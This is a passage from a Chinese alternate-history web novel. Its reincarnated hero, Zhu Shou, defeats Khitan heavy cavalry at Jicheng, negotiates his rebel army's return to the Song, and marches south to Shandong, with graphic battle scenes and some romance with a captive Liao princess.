那个赤甲巨汉在这铁骑洪流中逆流而上,王伦那狭小自闭的内心产生了剧烈的触动。 “啊~”献血溅了朱寿一脸,那蕴含千钧之势的铁骨朵砸碎了身前肉盾的首级。 人马交错的瞬间,朱寿右手全力斩下,重斧将马腿沿膝斩断。 战马嘶鸣,人仰马翻。朱寿上前重重砸下重斧,连着头盔和首级砸扁。 一人一斧加上一面肉盾,朱寿在铁骑浪潮中砥砺前行。 他的凶猛很快就被契丹骑兵瞄住,纷沓而至。 第一骑冲来时他用肉盾挡了一下后,果断斩马脚让其马失前蹄; 第二骑被他避过铁骨朵,掷出手中肉盾将其击落; 第三骑迎面直抵而来,朱寿双手握斧,双脚成弓步张开,全力挥出,竖斩而下。 那骑兵身形前扑,手中铁骨朵砸了个空,只见那赤甲巨汉欺身而上,余光看见那斧影掠过。 “哗啦~”漫天血雨喷洒,那战马还在往前冲,准确地说是前半截还在往前冲。 一斧之下,人马俱碎,碎成两截。 在惯性下,破碎的前半截骑兵还往前冲出一段距离,满地殷红碎渣。 这漫天血雨的一幕成为了战场上的焦点,那人马俱碎的恐怖破甲声与碎骨声震慑人心。 “滴答,滴答~”鲜血从赤甲上滚落,朱寿高举战斧迎向下一骑契丹士兵。 在一骑接一骑的契丹具甲骑兵被重斧砸落,凶猛的契丹狼群几乎下意识避开他。 千骑避赤甲,当朱寿斧者,人马俱碎。 战场上双方的士气隐隐发生了改变,原本接近崩溃的后军被激起血勇,在朱寿的身后重新开始接阵。 在挡住了第一波冲锋后,契丹具甲骑兵的的速度已经降下来了,冲击力降下来以后,汉军的反击接踵而至。 从中军调来的汉军弓弩手在长枪兵和刀盾兵的身后列队。 “放箭!”一声令下,箭矢齐发,失去了速度的具甲骑兵化身为靶子。 “再放!” 红巾军弓弩手一排接一排地齐发,箭矢主要奔着战马和骑兵的脚去。 战马庞大的身躯披甲面积低,骑兵的脚一般是没甲的。这些部族军没钱搞那么完美的甲胄。 在红巾军轮番射杀下,契丹具甲骑兵的队形开始混乱。 挨了箭的战马开始发狂,冲撞队伍,不愿向前。人可以不怕死,可马作为动物有求生的本能。 “大哥,冲上去,弄死这些狼崽子!”宋万举着大纛凑到朱寿身边建议道。 “你这憨货是真虎啊,你以为自己也穿了三重甲啊,那铁骨朵一下就能把你砸死!” 朱寿擦着脸上地血说道,看着那数百骑契丹具甲骑兵,他却不急。 “让中军打口袋阵的旗号,保持阵型准备后撤!”朱寿对传令官下令。 宋万等人有些不解,刚刚浴血冲锋冲得最猛的男人现在下令后撤。 看着不远处正在整肃部众的阿里奇,对方那凶戾的眼神恨不得吃人。 他们把辽军打疼了,以往能把辽国北疆部族军打出这么高伤亡的对手也只有女真铁骑了,现在被汉人打成这样,心理落差太大。 朱寿在心里计划着如何吃下这支契丹具甲骑兵,光靠后军是吃不下的。 还得诱敌深入军阵,然后靠战力更高的前军刀盾兵、长枪兵来解决他们。 看着汉人阵中令旗交换,各部缓缓后撤收拢然后变阵,阿里奇紧咬嘴唇,眼中闪过一抹恨色。 “冲上去,干死他们!” 变阵是战场上出现战机的关键时刻,这关系到各部兵种彼此间的配合,很容露出间隙。 契丹具甲骑兵伤亡直线上升让阿里奇心怀悲愤,可如果现在撤退那就亏大了。 死这么多人抚恤就指望着打下蓟县然后自己抢,部落里那么多老人孩童就指望着他们从南边抢回过冬的物资…… 他没有选择了,身处数百年未有的严寒,生存物资稀缺,人们身处这片熔炉,残酷的内卷厮杀不可避免。 浓重血腥味的风吹拂着阿里奇的脸颊,他的眼里只有那面象征着汉人大纛的旗帜。 汉人比想的要顽强,战马没有足够距离加不起速来,长枪的破甲入肉声不绝于耳。 越来越多满甲满配的长枪手开始编队列阵,红巾军的阵容越来越深厚。 那面红巾军的大纛离他不远,可是这段距离冲起来却是那么遥遥无期。 阿里奇手中的乌金铁骨朵砸飞了一个又一个红巾军,身旁的契丹勇士却来越少,红巾军长枪兵和刀盾兵反而逐渐换防过来。 从前军抽调过来的几队步军精锐配合默契地插入阵列,之前分开的两翼步兵从后方围拢过来。 契丹具甲骑兵变成了瓮中之鳖。 “杀贼!”喊杀声震耳欲聋,契丹勇士成了活生生的军工。 两三个长枪手用长枪逼停契丹战马,前面的刀盾兵上前斩马退。 红巾军完美的协作高效收割着契丹人首级。 “咳咳咳~”阿里奇瞪着血红的眸子大口喘息,坐下战马插着六七支箭矢,他未着甲的大腿上也被捅了两三个血窟窿。 他的脑海中只有一个念头夺旗,斩断战旗,粮食就有了,部落里的崽子就能健壮成长,老人不用进山…… 一抹鲜红的斧影闪过,“咔嚓~”清脆的声音响起。 阿里奇失重地砸在地上,他想爬起身来却站不起来,他感觉自己的腿怎么没力气啊…… 意识浑浊,看着那面大纛,他想起自己是来夺旗的,又往前爬了几步,最后眼前一片黑暗,意识归于混沌。 精锐的红巾军步卒看了嗔目结舌,刚刚那凶猛的契丹重装猛兽被连人带马斩断。 战马的前半截止不住势头撞进了几个士兵怀里,那契丹将领则爬到了大纛之下没了生气。 “万胜!万胜!万胜!” 不知是谁先喊的,三军很快就一起喊了起来。 那恐怖的怪力让三军敬畏,人们为那个男人高呼。 立于三军阵前的那个男人浑身是血,他强的不像人,像神话中的龙一般所向披靡。 第13章 斩获 一轮寒月将惨白的月华洒在寂寥的战场上,沾满血污的白马走在堆满残肢断臂的战场上。 契丹人败了,在具甲重骑兵被汉人围歼后,外围的弓手轻骑兵就四散而逃。 火把摇曳,红巾军的指挥官在记事、书吏的指挥下记录着斩获。 朱寿坐在篝火边,身上刚刚擦满药酒上了纱布,此时披着一件皮袄。 篝火上烤着马肉,今日战死的战马数不胜数,士兵们都能吃上一口肉。 石秀忙着料理一旁的马肉,消耗过大的朱寿只顾埋头吃肉,对面的王伦摆弄着手里陈旧算筹记录着今日战绩。 这一战粗略估计斩获战马两千余匹,牛羊五百余头,得甲近千,弓矢兵刃无数。 其中最丰厚的战利品莫过于五百副具甲骑兵的甲胄,虽有损坏,但修补一下这依然是大杀器。 辽国正军被斩首八百余级,这放在大宋已经是大胜了,文官修饰一下可以号称歼敌上万了,除了宋初静塞军,这种级别的斩获不多。 朱寿勇冠三军,以步战骑,斩杀四十三骑具甲骑兵,其中包括敌将阿里奇,战绩冠绝三军。 通过战场实际观察,朱寿对这个世界的武力阀值已经有了一个基本的判断。 阿里奇在小说里是能匹敌梁山五虎级的万人敌,在今日之战中表现出来的武力确实强悍不过还在常理中。 再结合辽军与红巾军士卒的战场表现,朱寿估计这个世界的战力偏向史实而非演义、小说。 在史实观的世界里,他自身的武力差不多够用了,不用担心有人随时随地开无双,万军丛中刺王杀驾。 只要不遇上岳飞、杨再兴、完颜娄室那些神将,自身还是安全的,再去山东找几个梁山泊猛男当近卫就稳了。 除此之外还抓了不少部族军,这些契丹人是辽国极北之境的牧民,听不懂汉语。 这些牧民精擅御马、放牧,留下来可以帮他培育马种。 至于如何驾驭他们,这就可以靠天寿公主了,辽国贵胄对于这些迷信的契丹牧民就是神的后裔。 公主管好牧民,他驯服公主,这样的统治更加简洁有效。 吃了四五斤的马肉,朱寿又喝了些酒,身子暖和不少,披上灰色大袄席地躺在皮革上小憩。 仰望星空,满天繁星的天穹如半圆罩在大地上,他看得有些出神。 星火璀璨数百年如此,四百年后的大明,父亲曾拉着他的手站在北京鼓楼眺望星空。 他们看过的星空是同一片星空,燕赵大地的星空,只是身边不再有父亲了。 那个消瘦、高大的男人总是在咳嗽,看星星的时候还总要裹着厚重的衣服。 好在他老人家没生在这个冰期时代…… “哎,喝了酒就是容易多愁善感,”朱寿在心中打趣自己,可看着星空与大地远方的交汇处,他的眼里有一丝凝重。 那里是燕京,大辽的南京,那座既熟悉又陌生的城市让人牵肠挂肚。 起义的形势一片大好,可他却难以放松下来,收复燕云很难。 以前他不明白大明那么强盛,父亲为什么总是愁眉苦脸的,如今他懂了。 站在时代前沿的王者总要筹谋天下,思常人不能思之。 不过朱寿的性格向来不是会自我困扰的,很快就打碎对未来的烦闷。 他向来豁达豪爽,心想自己当过天下共主又浮沉于绿林草莽,什么样的得失落差没经历过。 过去是段历史就让它过去吧,明天是个谜团,而他自信当下掌握在自己的手里。 夜幕渐沉,月明星稀,篝火不熄,点亮了后半夜。 ----------------- 蓟城百姓看到大军回城的那一刻,人们无不松了一口气,契丹人留给他们的无敌印象太深了。 他们总是担心这得之不易的生活逝去,契丹人凶暴地杀回来,然后大家再变成汉人地主与契丹贵族的仆从与资粮。 朱寿披着赤甲骑马进城,与街边人士交流,谈论着前方大胜。 他那庞大的身躯与不羁的笑容让百姓看得心安不少。 越来越多的红巾军从城门进入,他们大多带着分配的战利品。 “杜迁,你这傻大个去哪弄了身人五人六的盔甲?”路边一个与杜迁相熟的老头问道。 杜迁只是傻笑,他太高了,比朱寿还要高一丢丢,类似的盔甲太少了,之前穿的是不合身的。 现在拔了一件契丹具甲穿上,颇为神气。 “哟,三郎的这匹白马好俊哦?”一个豆蔻年华的小姑娘对着石秀说道。 石秀羞红了脸,他拼命三郎闯荡江湖没怕过,此时却怂了。 “公孙大娘,这只羊就拜托您照顾了,有些遗孤就拜托您帮忙周济他们些热羊奶……” 朱寿将一只胖乎乎的大白羊牵给一个穿着朴素的温和老妪。 “大王做得是大事,老身只能尽些绵薄之力,不过老身的儿子是有本事的,日后定让他襄助大王。” “好,一言为定!” ………… 欢呼与谈笑之后是沉默,当后军全部进城后,城门合拢的那一刻不知有多少人心碎。 没回来的无疑是战殁了,有人欢喜有人悲。 原本庆祝的人群收起了庆祝声,而那些有家人战殁的只是默默回家。 造反会死人,这个时代死人太常见了,没有饿死或是被吃掉已经不错了。 “王伦,抚恤工作要做好,尽量做好。”朱寿说道。 他也知道义军现在的处境很难做好抚恤,只能说是尽力。 王伦点点头,转身离去。 朱寿又命石秀看管好契丹俘虏,然后骑马回了自己的大院。 一回家,两个他收留的半打小伙就上前帮他牵马抗刀。 “让黑风多吃些豆子,他的屁股上有些挫伤,好好照料他。” 朱寿嘱咐完,又拍了拍坐骑的头,黑风又蹭了蹭他的手,眼神有些幽怨。 走进院子里,他一眼看到答里孛在那投壶,全然不管他这个一家之主回家了。 “公主大人,快过来给为夫卸甲!”朱寿大声叫道。 公主狠狠瞪了他一眼,不情不愿地走过来。 开始帮他解甲,足足三重的甲,他一个人还真解不开。 答里孛解起来也很难,半天解不开,那些复杂的绳系还有依层自下而上叠加的盔甲,三件甲贴得太紧。 “别乱动!”答里孛娇嗔道。 她弯着身子和那复杂的绳结较了半天劲,白皙的额角滑过细密的汗珠,中衣撑开露出一抹雪白。 朱寿的爪子有些控制不住想探究一下辽国的女子服装设计,就纯好奇。 答里孛感到炽热从颈部往下深入,冷白的小脸变得绯红。 朱寿没得意多久,突然吃痛叫道: “嘶~你这娘们怎么这么虎?” 答里孛使劲拉住绳结一扯拉成了死结,三重甲紧紧勒住。 “哼~”答里孛昂着珠圆玉润的下巴,拽住他的披膊用力拽下。 这一下着实咯到了手上的淤青,朱寿吹胡子瞪眼地说道: “白狼崽子,今晚汉家爷爷非得让你知道什么叫三从四德?” 说到这,朱寿突然想现在好像还没朱熹,社会理念里不知有没有三从四德。 二人骂骂咧咧地拿着死结瞎折腾。 微风吹拂,院子里的百草折腰,散落的披甲、护心镜、硬质军靴、重型甲板扔了一地,在院子里反光。 雄健的巨汉和高挑白女郎最后还是没解完全部甲,二人就进了屋。 骂骂咧咧的声音持续了好久,到傍晚嗓子都喊哑了。 第14章 取利 朱寿好奇地打量着眼前的这个俊朗的赤袍帅哥。 此人叫马植,朱寿在燕云混了这么久,早先就听过他的大名。 这人确实口若悬河,从刚进门到现在嘴就没停过。 不愧是能忽悠得大宋那些官场老狐狸给他升官的人。 如果没有他联金灭辽的计策,华夏的历史或许会完全不一样。 马植的眼中有着浓浓的自信,他气度不凡,应该是打心眼里觉得自己是苏秦张仪那样的纵横家。 朱寿有些玩味地看着他,纵横家已经过时了,在这严寒残酷的时代只有一条路,尸山血海之路。 什么样的计策也不如刀子实在,承平日久长了,有些人不清楚自己的分量。 他不想听马植鬼扯,只想要实际的好处,给王伦使了一个眼色。 王伦当即说道:“马大人,不知我等归宋以后,朝廷具体如何安置我等?” “朝廷自是不会亏待义士,中原将供应兵甲军械粮草以达北伐大业。” 这是原时空里宋朝对燕云降将郭药师的安排,后勤补给那确实供给充足。 不过夹在大国边境实乃不智,郭药师就接连被辽、宋坑。 作为汉人起义军,朱寿最理想的还是回到中原慢慢发展。 不过当下不能直接太过露骨地表露意图,谈判需要循序渐进。 “除此之外呢?你可知道辽国也找到我家将军并且许以爵位加节度使……” 王伦拿捏着腔调侧目说道,心中颇为愉悦。 郁郁不得志的落第书生今天可以为难宋廷朝堂上的大才,好不快哉? 马植没想到辽国这么软骨头,居然向反贼屈服还许这么多利。 “其实朝中诸公颇为看重将军,愿以将军为社稷肱骨之臣,只是……” 说到这马植有些踌躇,辽国那无形中带来的竞争有些打乱他的计划,红巾军的实力也比他领旨外出前要强。 朱寿没什么表情,好像并不在意他说什么,只是一昧在那擦拭手中重斧。 马植吞了一口口水,也不管什么谈判的要义和大佬们的交代了,自己的小命更重要。 “本朝军制特殊,想来大人也有所耳闻吧?”马植试探性看向朱寿。 朱寿微微颔首,眼睛还是没抬起来看他一眼。 “不知将军可愿移镇?移镇以后也不会拆散将军部众,一切以北伐为重,很多东西可以慢慢商量……” “还有神臂弓、步人甲等精良装备朝廷自会为将军配齐,日后北伐还要仰仗将军……” 朱寿面不改色,心中想道这小子倒是颇为上道,知道讲重点。 北宋讲究重文抑武,各地驻军采取轮戍,以此杜绝唐朝节度使分裂割据的情况。 只有加入了这套禁军的体系才能算作自己人,才能进入中原。 朱寿是非常愿意的,幽辽这一片确实是王霸之基,可在冰期完全就发展不起民生经济。 “洒家并不是想要分疆裂土的狼子野心之辈,只要是为国家出力,洒家无论在哪里都愿意。” 朱寿一副赤胆忠心的样子看得马植有些懵。 “我家将军为了大宋那是忠不可言,连大辽许诺的驸马之位都放弃了。”王伦为朱寿找补道。 马植看事情有了进展,绷紧的心弦微微放松,这朱寿看上去比女真国主还要凶残,现在燕云大地都在传“当明王斧者,人马俱碎”。 这朱寿那庞大的身躯就像一只胖虎披了甲,这雄健的体魄让文人看了就有一种天然的恐惧。 安抚了一下自己受伤的心灵,马植心想大事好歹是差不多敲定了。 “官家最喜欢将军这般心系国家的猛士,归国后必定委以重任。” 能拿回易、蓟等地,马植已经立了大功。 原先朝中大佬是让他先稳住朱寿,敲打拿捏这支北方劲旅,争取拆分这支部队。 可是红巾军太猛了,斩首八百余名契丹正兵,这战斗力简直是恐怖如斯。 错估了义军实力,马植也不敢太过放肆,只想把这杀材先弄回大宋,怎么用是诸公的事情了。 如今看样子是不好拆分义军了,不过也正常,大宋这些年为了应对边境战事军制还是有所改革的。 西军以种家为首让兵将相知,战力提升了一大截。 现在为了收复燕云,在北边拉一支劲旅,然后给些特殊待遇也是朝堂能接受的。 朝堂的底线是让义军世代镇守北疆,现在他能把队伍拉回中原已经是大功了。 起码不用担心弄出第二个李元昊来,相比起种家这种朝廷嫡系,地方归附势力总让宋廷不安心。 红巾军愿意回中原移镇可以说把独立性降到最低了。 这波谈判下来,宾主尽欢,大家起码达成了共同利益,在战略上初步达成共识。 朱寿下令:“酒肉摆上来,为上官接风,今晚不醉不归!” 当满满一盆鲜切烤羊肉端进来,再配上烈酒,任何一个燕赵男儿都很难不心动。 马植虽然离开燕云在汴梁为官多年,可燕赵习性未泯,酒肉下肚后,也就不再拘谨,豪爽地说起这些年在东京见闻。 观察之后,朱寿发现这也是一个胸怀大志的士人,并不是那种卖国求荣的小人。 不过马植的观念太理想化了,恶劣气候变迁带来的严寒在中原的影响没有草原那么恐怖。 宋人无法想象北境已经进入必须南下,生存空间急剧压缩的北方诸族抱着必死的决心叛乱,辽国倒下后将是更南方的大宋。 所谓海上之盟不过是一个笑话,猛虎可不会和羊遵守约定。 ----------------- 蓟城城北古刹里,踏过古朴的青砖,朱寿推开木门走了进去。 青灯黄卷,黄衫中年坐在那静静看书。 “耶律兄,今日怠慢了。”朱寿说道。 说罢,他就坐到黄衫男子面前,在桌上摆满打包过来的酒肉。 眼前的黄衫男子是朱寿抛开演绎评书以外,为数不多知道的这一时期的历史人物——耶律大石。 西辽开国皇帝,挽狂澜于既倒的契丹救世主,远征西域的辽国可汗。 “兄弟今天应该没在斋日吧?”朱寿问道。 耶律大石点了点头,揭开包装的油纸,低头吃了起来。 “你打算回宋国了?”耶律大石一边吃一边问。 朱寿没有回答,只是似笑非笑地看着大石。 大家都是聪明人,没什么好装的。 耶律大石几天前就来了,做事非常周到,二人相处愉快,大石也知道朱寿并非池中之物。 对于朱寿,耶律大石已经有了一个战略评估,没必要硬打,此人志在天下,不会久留于此。 燕京城里的汉人老狐狸显然不想就这般吞下这个大亏,可却由不得他们。 那些阴谋诡计的施展都需要实力,没实力说个屁啊。 为了蓟、易之地,大辽赔进去了一万正兵,不能再打了。 等走完一遍流程,耶律大石就要走了,前方战事紧急,他迫于辽国那些腐朽贵族的压力才来的。 至于燕京那些汉人世族老狗,没有人会在意手下鹰犬的想法。 为了快速送走朱寿这尊大佛,他俩达成协议以百匹骏马为天寿公主嫁妆,朱寿在走前不再骚扰辽国。 朱寿欣然答应,虽然他好战,但他可不傻。 辽国看着不行了,可怨军加上各地边境契丹部族军战力还是很强的。 历史上,大宋就是想捡便宜被辽国狠狠教训。 现在可以得到百匹骏马,然后慢慢等大宋的任命与移镇,何乐不为。 就让辽国人和女真人去打生打死吧。 朱寿一边吃饭还一边给耶律大石这个辽国年轻将星支招怎么对付女真重骑兵。 沉稳冷静的耶律大石每每听朱寿讲起打女真,情绪都会热烈不少。 二人关系快速变好也正因如此。 喝得有些燥热,朱寿起身推开窗户。 晚风涌入,吹得有些冷。 “兄弟,下次见面不知是并肩作战还是刀兵相见?不过观当今幽辽大地,可称英雄者,唯君与寿耳!” 朱寿豪迈地说道,一向如同石头般木讷的耶律大石眼中也闪过一抹精芒。 第15章 束发右衽,重整衣冠 微管仲,吾其被发左衽矣!————(宋)胡铨 ----------------- 朱寿看着镜中的自己恢复了右衽、衣冠的熟悉模样,骨子里冒出一种难以言语的悸动。 汉人埋藏在血脉深处的礼制传承维系着那一份族类认可。 周公定下礼制,管仲推崇“尊王攘夷”的理念,先祖一步步整合了这片土地的其余族群,故有中原汉地。 一旁帮他打理发型的答里孛看着镜中男人收拾衣冠后,看上去确实是俊美无铸,一时看得有些失神。 “吾美乎?”朱寿得意地翘起嘴角,看向答里孛。 答里孛脸上有些羞红,倔强地说:“沐猴而冠罢了。” “哟,你还懂我们汉人的成语?”朱寿有些惊讶。 “哼~”答里孛转过身不理他,想她堂堂天祚帝最宠爱的公主也是学过汉人典籍书目的,她精通北地数门语言,认识近十种文字。 朱寿一把将她拉进怀里,然后小声说道:“我们要去汉地了,你可以走之前给你父皇母妃写封信。” 面对男人突如其来的温柔,她有些不知所措。 等她反应过来,男人的臭爪子已经顺着她的领口往里滑了。 答里孛软倒在男人怀里,眼神复杂地看着俊朗的男人,把头埋进他那朱红的精致官袍。 温存片刻后,她抬起绯红的小脸,嗔怒道:“贼子又欺负我,快滚去做你的大事吧!” 她用雪白柔荑帮他抚平衣服皱子,然后捏起玉拳“邦邦”给他两拳。 ----------------- 蓟城大街上百姓们统一束发着冠,衣饰整齐变成了右衽。 人们都感觉颇为新奇,彼此互相打趣。 看着街道上的全新气象,朱寿方才有些明白“衣冠”与“右衽”的重要性。 初到辽宋夏金对峙时期,他就一直在燕云十六州转悠。 燕云沦陷百年有余,衣冠早已沉沦,虽然辽国实行南北面官制,在南方对汉人习俗管制不严。 可是沉沦多年,除了燕云汉人士族,普通百姓早已忘了衣冠,左右衽根本分不清。 历史上如果不是明朝大将徐达收复燕云,这里可能就真得胡化了。 朱寿上了城门,红巾军众兄弟都换了装,看上去都很神奇。 不过在看到朱寿的那一刻,大家都眼前一亮,天潢贵胄的含金量在这一刻显现出来了。 连续七八代人挑选相貌端庄秀丽的女子繁衍的后裔可不是有一副金玉其外的好皮囊。 马植也看得一愣一愣的,不曾想这燕云杀胚打整一番居然也是相貌堂堂。 这十来天可给马植忙坏了,给朝中的奏折还有给诸公的书信写了几十封,终是把册封的事给敲定了。 朱寿带着一众红巾军将领整齐地站好,准备听封。接受马植带来的官印与宋廷的册封。 “燕人朱寿胸怀家国大义,光复易、蓟等地,连破契丹,作战勇武……” “……今因功拔擢为禁军虎翼右厢第四军军都指挥使,与驻边禁军换防后即刻率部开往京东道,钦此~” “臣朱寿领旨谢恩!” 接过圣旨的那一刻,朱寿往南方看了一眼,眉梢挑起。 宋朝给的诚意还是很足的,通过马植,朱寿也知道了北伐幕后的朝中主战派代表人物。 他们现在算是奸臣童贯的人,归侍卫步军司管。 作为虎翼军,待遇还是非常不错的,虽然在禁军上中下三军划分种被归为中军,但他们编制庞大,兵力雄浑,是禁军中的精锐主力。 武器装备、薪俸待遇都是一流的,他们也算是纳入宋朝核心部队的编制了。 接下来就是抱住童贯的大腿,然后尽力打通关系慢慢发展。 他向来是喜欢这些奸臣的,说话又好听还能办事,关键是不会端着架子。 入宋以后,想来可以和童贯开展和谐的合作。 马植看着一身朱红官袍的朱寿拱手道喜。 朱寿一把拉住马植,相谈甚欢。 此番他入朝就能坐上正五品的军都指挥使然后穿上这身朱红官袍,马植还是非常尽心的。 虽说双方是互利互惠,但他该有的礼数与好处还是要给到位的,这样方能把关系经营好。 朱寿本来就是聪慧精明的人,当皇帝的时候,他就非常擅于在文官集团中周旋,硬生生把权力一点点集中起来,只可惜天不假年。 对于人情世故,他是会拿捏的。 他们一起拿出那面从大宋带来的旗帜,朱寿将其展开,赤旗上绣着华丽的暗金色“宋”字。 当大旗升起的那一刻,全城军民欢呼雀跃。 红巾军对于现在这个结果还是相当满意的,不仅有了编制,还得了实实在在的赏赐。 此刻回归中原王朝的好处具像化了,全城军民都很开心。 朱寿偷偷观察旁边的马植,这个感性喜欢吹牛的文官此刻涕泪满衣裳。 看着满城衣冠,百姓服饰重改为右衽,马植心中收复燕云的夙愿终于有了实质性地发展。 燕云十六州是所有汉人士绅心目中永远的痛,南边想要打回去,北边需要得到自身文化的认同。 马植自由出生在辽东汉人大族,他受到的是汉室文化教育,可辽国上层推崇的是契丹游牧文化。 处在苍茫北境,这里胡风盛行,马植就像无根的浮萍找不到归属。 后来他南下宋朝得到重用,就一直希望能为汉家收复这片遗失的土地。 此时看到燕云故土上衣冠林立,已是潸然泪下。 朱寿拍拍他的肩说道:“异日我汉家儿郎骑骏马、带长枪必定会一路北进打到上京,在幽辽打下一片远迈汉唐的疆域。” 马植眼神炙热地看向朱寿,这又何尝不是他心中的想法,年少时他和同乡结拜兄弟也曾想过攻取幽蓟再南归中原。 只是他一介文人,纵使观察到辽国江河日下,也不是契丹铁骑的对手,只能想到去狼吞虎的计策。 若是武德充沛,谁又会去想权谋之术。 “良嗣兄,不日就要分别,下次再见可能就是在燕京了。洒家看你忙于国事身边缺人伺候,正好有两个契丹美人想请兄台收下。” 朱寿拉着马植眼神诚挚地说道,马植也不好推辞。 只见两个姿色艳丽的契丹走过来,确实是一等一的货色。 马植生活在燕云多年,作为汉人不知被契丹人歧视过多少次。 如今有一对契丹美人作奴隶,马植心中有些痒痒。 朱寿通过耶律大石从辽国最后敲了一笔,其中得了不少契丹、渤海、奚族美人。 他确实贪花好色,不过已经有了契丹国色天香的公主,其他燕云美人难免显得有些腻歪。 不过为了不浪费这些丽色美人,他索性让她们联谊诸将,或是打点朝中关系。 宋廷有意把朱寿派往京东东路弹压此时叛乱频出的山东,可具体地点没有定,其中自是少不了一番关系打点。 朱寿心中已经有了较为属意的几个地区,接下来就看马植回去帮他美言了。 “朱兄入朝以后必定大有所为!”马植拍了拍朱寿的肩。 第16章 移镇 朱寿手持一柄身长三尺二寸、弦长二尺五寸的劲弩,缓缓拉开桑丝麻绳搓成的弦。 “嗖~”三箭齐发,转瞬就射到三百步外的箭靶。 箭矢的羽尾不断震颤,箭头已经稳稳插入箭靶。 轻抚手中的强弩,朱寿真心认神臂弓确实是冷兵器时代的顶尖杀器。 大宋的对外军事水平一言难尽,可宋朝的武备还是非常卓越的。 神臂弓可射三百步,威力强悍,不仅可以连发,射速还快。关键是其弓力为两石三斗,开弓条件比那些笨重重弩好多了。 大宋送来的军备可以说非常齐全,除了神臂弓以外,还有步战顶配武装——步人甲。 试玩神臂弓以后,朱寿又在石秀等人的帮助下开始穿戴步人甲。 根据《武经总要》记载,步人甲是以皮条甲钉连接而成的扎甲,是中国历史上最重的铠甲。 步人甲由1825枚甲叶组成,一般重量达58宋斤,同时通过可增加甲叶数量来提高防护力,但重量会进一步上升。 细密严整的步人甲穿戴好后,朱寿活动了一下胳膊、腿脚,只感觉这重甲比想的灵活多了。 石秀等人之前用稻草人试验过,步人甲的防御力还要强过朱寿之前的三重甲相叠。 作为顶尖扎甲,士兵装备上以后就是步战铁猛兽。 步人甲基本重量为58斤,各兵种的步人甲又彼此不同。 在此基础上弩手甲重量稍轻,为54斤,弓箭手为66斤,枪手为70斤。 在极端战事下,可在短时间内快速叠甲,将弓箭手铠甲增至70斤,枪手增至88斤。 增重强化后的步人甲堪称步战之王,能正面硬刚重骑兵,是大宋军事的基石级武装。 宋朝没有河套、燕云这些传统的养马场地,骑兵缺马,数量稀缺。 对抗骑兵强悍的西夏、辽国,靠的就是身披步人甲的重装步兵。 以步人甲为主的宋朝扎甲兼顾了战甲的牢固结实与灵活贴身,远超同一时期西方的锁子甲。 拥有步人甲、神臂弓的大宋王朝可以说在军事科技上已经处于这个时代的世界巅峰。 接受册封以后,宋朝就送来了第一批军备,主要是宋军的戎装常服。 毕竟他们之前的盔甲服装都是从辽军身上拔的,现在回中原了,不可能还让他们穿胡衣。 宋朝初步拨下来军服五千件,步人甲一百领,神臂弓一百副,长枪一百杆,重斧一百把,马具一百副,重锤一百把,重锏一百把…… 武备很齐全,从骑兵的主武器到副武器都很齐全,数量上有限制,担心他们收货以后反悔。 剩下的大量武器要等他们到了朝廷指定的京东路领取。 主要是当年宋朝被李元昊坑得太惨了,只要西夏还在,大宋就不会忘记自己当过冤大头。 仔细检验了一遍武器以后,朱寿只觉得自己定下南归的决策确实明智。 等到全军换装以后,朱寿自信这支队伍战斗力能显著提升一大截。 燕赵多慷慨之士并非虚言,他选拔的这些汉人义军以燕云豪侠为基石,扩充选拔燕云两家子弟。 所谓良家子大都是家境富足,普遍体魄强壮,相比起乡间流氓,他们的集体素养要更高。 如果不是金辽战争爆发又赶上冰期降临,这些良家子或许一辈子都不会造反。 燕云深受契丹风俗影响,在披发左衽时期也让他们形成了尚武的思维。 这也是这支队伍能快速形成战力的原因,又经过大大小小七八场战斗,还和契丹正兵干了一场,已经是经过血肉磨盘淬炼的劲旅了。 这支劲旅放中原战力远非承平日久的大宋禁军所能比。 而且他们才是一支成军不过数月的队伍,可塑性很高。 将武备下发后,朱寿当即命士兵们开始熟悉新式武器。 操练的强度也是不能减少,作为岳飞粉丝,朱寿坚持岳武穆的疯狂训练。 他穿着崭新的步人甲就开始带头投入到训练中。 这支新编的虎翼军充斥着蓬勃生机,训练开展的热火朝天。 ----------------- 七月流火,燕云旷野迎来了难得的气候温和适宜的凉爽期。 时隔百年,宋军终于再度大规模进军燕云。 对于这一次接管易、蓟,宋朝非常看重,派了一代名帅种师道挂帅而来。 他所率领的部队也是当今大宋实战能力最强的西军。 抵达城南时,种师道只见眼前有一条巨大的鸿沟,不少守军士卒正从坑里跃出,身上满是灰尘。 种师道眼中闪过一抹疑惑,不过还是先上前与前来迎接的朱寿打招呼。 “早就听闻燕云虎贲将军身材魁梧,容貌俊美,今日一见果然不凡。” 种师道诚挚地恭维道,苍老的脸庞上满是和蔼的笑容。 朱寿也对这个老头充满好奇,他第一次知道老种经略相公还是在《水浒传》里了解到这位鲁智深的恩主。 来到这个时代以后,朱寿方知老种经略相公的威名。 种师道是此时宋国国际声誉最大的武将,抗击西夏频频建功。 在战功虚报成风的浮躁大宋朝廷里,种师道是少数有真才实干的高层武将。 二人攀谈互相恭维了了一会,话题围绕着彼此的战役讲了几句。 话头聊开以后,种师道旋即问道:“朱将军,不知你们城外的壕沟是用来干什么的?我看已经挖好了,为何士兵还在其中?” “打煞士兵气力,磨练筋骨,披甲上下反复攀爬……” 种师道听得入神,接连点头。 作为高层统帅,他非常清楚宋军现下战斗力最大的问题,体力跟不上。 说到底就是训练强度太少,体能低下。 大宋以步兵为主,步兵对抗骑兵最大的问题骑兵恐怖的冲击力。 不过大宋的武器装备非常先进,凭借步人甲、神臂弓已经有了对抗重骑兵冲阵的手段。 真正怕的是消耗战,面对骑兵包抄迂回,特别是拐子马,一旦陷入消耗,平的就是体力。 辽金夏都能给精锐配置一人双马,真打起来,披着步人甲的宋军完全耗不过高机动性的骑兵。 体力不行,再好的装备也发挥不出作用。 听了朱寿的训练方法,种师道大有启发,西军还是有训练改革的空间的,相比起腐化的禁军。 如果增强西军的实力,朱寿并不吝啬交流经验。虽然他迟早是要反宋的,但短时间内还得靠这颗大树遮风挡雨,好慢慢发展实力。 朱寿命人开始向西军交接府库与城池防务,然后又帮西军扩建营房。 傍晚,双方造饭进食。 朱寿他们明天走,今晚还需要让南下士兵的家眷收拾行李。 朝廷有令把这支精锐的家人迁往中原,以便让他们在中原归心。 这一夜,蓟城很多人都睡不着。 子弟兵即将南下,镇守此地的即将换成一支异地兵马,百姓们也很茫然。 望着这片熟悉的星空,朱寿在想此番南下,不知何时才能杀回来。 前路漫漫,任重道远啊! 破晓时,淡黄的晨曦擦亮易水,一支长龙般的队伍沿着河畔南下。 目标——山东! 第17章 驻军东平,会见叔夜 九月的山东与燕云大地简直是截然不同的两个世界。 虽然处于冰期,但齐鲁大地的气候比起燕云温和多了。 